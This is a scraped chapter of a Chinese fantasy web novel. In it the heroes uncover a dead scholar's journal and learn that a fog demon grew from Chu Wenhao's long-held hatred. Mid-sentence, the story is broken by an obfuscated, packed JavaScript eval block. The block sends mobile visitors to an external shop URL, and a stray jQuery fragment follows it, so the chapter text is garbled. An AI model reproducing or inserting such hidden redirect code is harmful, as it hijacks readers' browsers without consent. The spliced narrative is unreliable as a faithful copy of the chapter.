文趣网 > 其他小说 > 炮灰今天又没牵线成功 > 107. 藜山(三)
    坍塌的草屋立在密林深处,荒草爬满了半截黄泥墙,唯独西侧一间耳房的门框尚且完整,木门半掩着,缝隙里没透出半点声息。

    林子方撑着破雾伞走在前面,金光扫过,门前的雾气散了些。他伸手推了推门,木门“吱呀”一声晃开,一股陈旧的书卷气混着草药泥土的味道扑面而来。

    屋里陈设极简单,一张旧木床,一张掉漆的书案,墙角堆着半捆干草药,旁边摆着个裂了口的陶药罐。

    令人惊奇的是书案台面一尘不染,连边缘的磨痕都清清楚楚,显然常有人擦拭打理。

    “褚文昊每年来祭拜,都会到这里待上半天。”魏瑾汐走到书案旁,指尖拂过案上叠着的几本残破典籍,书页泛黄发脆,却码得整整齐齐,“这些应该都是当年那书生的东西。”

    书案的抽屉没有锁,她轻轻拉开,里面放着一叠用麻线订起来的手稿,纸页都脆了,封面上是清瘦工整的小楷,写着“山居杂记”四个字。

    两人凑过去翻。手稿想是那书生的笔迹,前面记的都是些山中琐事:采药、种竹、雨天读书,日子清苦却安稳。翻到中间,才出现褚文昊的名字——

    “嘉靖七年冬,雪大,山下行来一少年,浑身是伤,冻得只剩半口气。问其名,自称褚文昊,遭乡绅构陷,家破人亡,逃入山中避祸。心有不忍,留之。”

    “此子天资极好,过目成诵,只是眼里仇怨太重,常夜半惊醒攥拳。每日教他读《三字经》,先明德,再求学。”

    “病势渐沉,汤药无用。此生憾事有二:一为未能归乡祭祖,二为未见文昊成才。枕边《三字经》一册,是我仅存的家当,留给他做念想。唯愿他日后心怀善念,莫为仇怨困了一生。”

    最后一页字迹潦草,墨迹晕开,显然是临终前强撑着写的。

    魏瑾汐指尖顿在“心怀善念”四个字上,沉默了片刻。

    她弯腰看向书案底下,那里放着个上了锁的木匣子,锁已经锈了,轻轻一掰就开。

    匣子里不是金银,是一沓沓写满字的宣纸,按年份叠着,全是褚文昊的笔迹。

    最前面几张还带着少年意气:“书院初建,收寒门子弟十二人,皆勤勉。先生若见,定当欣慰。”

    往后翻,字迹渐渐沉了:“嘉靖二十年春,乡绅王员外诬告书院私藏禁书,封门三月。学生散去大半,心力交瘁。”

    “嘉靖二十五年,富户之子欺凌寒门学生,打断人胳膊,只赔了二两银子便了事。我去理论,反被当街羞辱。”

    再往后,字里行间的戾气几乎要透纸而出:“先生,他们欺人太甚。你教我心怀善念,可善念换不来公道。”

    “先生,那些挡路的人,都该除掉。你放心,我会守住书院,谁也毁不掉。”

    最后一张纸,只写了八个字:以恶护善,虽善亦恶。

    墨迹很重,笔锋划破了纸,像是写的时候用尽了全身力气,又像是在跟谁较劲。

    林子方看着那叠纸,良久才沉声开口:“原来从一开始就搞反了。不是雾妖附在书上裹挟了褚文昊,是褚文昊自己几十年的恨意,借着书生的旧物和山泽里的浊气,养出了这么个妖物。”

    “是。”魏瑾汐合上木匣,眉头紧锁,“书生的残念附在《三字经》上,本来只有护着他的善念。可褚文昊年年对着旧物诉苦,恨意越积越深,慢慢就把善念盖住了,养出了满是杀念的雾妖。老杂役听见的两个声音吵架,一个是书生残留的善念在劝,一个是褚文昊自己的恨意化成的妖在闹。”

    “那褚文昊被关在暗格里……”

    “多半是他后来清醒过,想收手,却已经压不住自己养出来的妖了。”魏瑾汐接话,“雾妖顺着他的心意长,到最后反而反噬了他,把他囚在了暗格里,借着他的身份操控任和光,继续杀人泄愤。”

    两人对视一眼,都从对方眼里看到了凝重。

    本以为是妖物害人,没想到根源竟在人心里的执念。解铃还须系铃人,可如今褚文昊自身难保,要化解这妖物,怕是难了。

    “先往山深处走。”林子方拎起破雾伞,伞骨上的金光比刚才亮了些,“妖气最浓的地方就在前面,应该是执念的根源地。找到地方,说不定能找到破解的法子。”

    魏瑾汐点头,两人收好手稿和木匣,转身出了草屋,顺着山势往更深的林子里走。

    而另一边,许愿跟着那道青衫人影走了约莫半柱香的功夫。

    山路越走越偏,两旁的树木遮天蔽日,雾气浓得几乎化不开,脚下连路痕都没了,只剩厚厚的腐叶。

    那人影走得不快不慢,始终和她隔着丈许远,既不靠近,也不消失,像一盏飘在雾里的灯。

    沿途的雾气不断凝成细碎的虚影,从她身边一晃而过。

    第一次是少年褚文昊跪在坟前,脊背挺得笔直,低声说“定不负先生所托”;

    第二次是中年的褚文昊站在书院门口,被几个锦衣男子推搡辱骂,他攥紧了手,指节泛白,低着头一言不发,眼底却翻着黑沉沉的怒意;

    第三次是深夜的书房,他抱着那本蓝封皮的《三字经》坐在案前,烛火映着他的脸,一半在明一半在暗。他低声说着“都该死”,周身的黑雾慢慢聚起来,凝成了一个和他一模一样的影子。

    许愿脚步一顿,心里彻底透亮了。

    她之前一直想错了。

    不是雾妖占了书生的旧物,是褚文昊的恨意,借了书生执念的壳,生出了妖。

    书生的善念被囚在里面,只剩微弱的一点力气,连完整

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17841587|211662||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    的人形都聚不起来,只能借着山雾引她过来。

    难怪《百妖谱》说“执念为根”——这根从来就不是书生一个人的,是两个人的执念缠在了一起,善的被压着,恶的越长越大。

    前面的青衫人影这时停了下来,缓缓转过身。

    雾气散了少许,许愿终于看清了他的脸。清瘦温和,眉眼和书院里挂的褚文昊画像有几分相似,却更软和,应是那个书生。

    他的身影很淡,像随时会散在风里,开口的声音也轻得像雾:“姑娘……求你,救救他。”

    “他本心不坏,只是被恨意迷了眼。”书生的影子微微发颤,“那妖物借了我的模样行事,害了不少人命,这笔账,不能算在他头上。求你……化解了它,别伤他性命。”

    许愿刚要开口问怎么化解,四周的雾气忽然剧烈翻涌起来!

    尖锐的啸声从四面八方传来,雾里伸出无数冰冷的手,朝着书生的影子抓过去。那影子瞬间淡了大半,像被风吹散的烟,一下子就没了踪迹。

    “多管闲事。”

    一个阴冷的声音响在耳边,和方才虚影中褚文昊的声音一模一样,只是没半分温度,带着刺骨的寒意。

    许愿心里一凛,立刻摸出三张雷符攥在手里,指尖凝起灵力。符纸燃起点点金光,逼退了近身的雾气,可四周的雾还在不断涌过来,一层叠着一层,像潮水似的往她身上压。

    她脚步往后退,后背很快抵上了冰冷的岩壁。退无可退了。

    就在这时,一道凌厉的雷光从雾里劈过来,“轰”的一声炸开,身前的浓雾瞬间被清出一片空地。

    许愿抬眼,看见李修远的身影从雾里走出来。他手里握着剑,剑身上还带着雷光,周身萦绕着淡淡的镇妖符金光,浓重的妖气近不了他的身。

    “没事吧?”他走到许愿身边,目光扫过她微微发白的指尖,声音沉了几分。

    “没事。”许愿摇了摇头,心里松了口气,“你怎么找过来的?”

    “循着妖气和《百妖谱》的气息。”李修远侧过身,将她护在身后,目光警惕地扫过四周翻涌的浓雾,“这妖物比我们想的聪明,故意把你引到这儿来,想逐个击破。”

    话音刚落,山腹深处传来一声低沉的冷笑,顺着岩壁传过来,震得人耳朵发麻。

    雾浪翻涌着往后退,露出身后一个黑黢黢的山洞入口。洞口飘着浓得化不开的黑气,正是整座山妖气最盛的地方。

    而林子方和魏瑾汐,也恰在此时循着破雾伞的感应,走到了山洞的另一侧。

    四人隔着翻涌的雾气,隐隐能看见彼此的轮廓。

    山腹里的声音再次响起,带着戏谑的笑意:“既然都来了,就进来吧。我倒要看看,你们能掀起什么风浪。”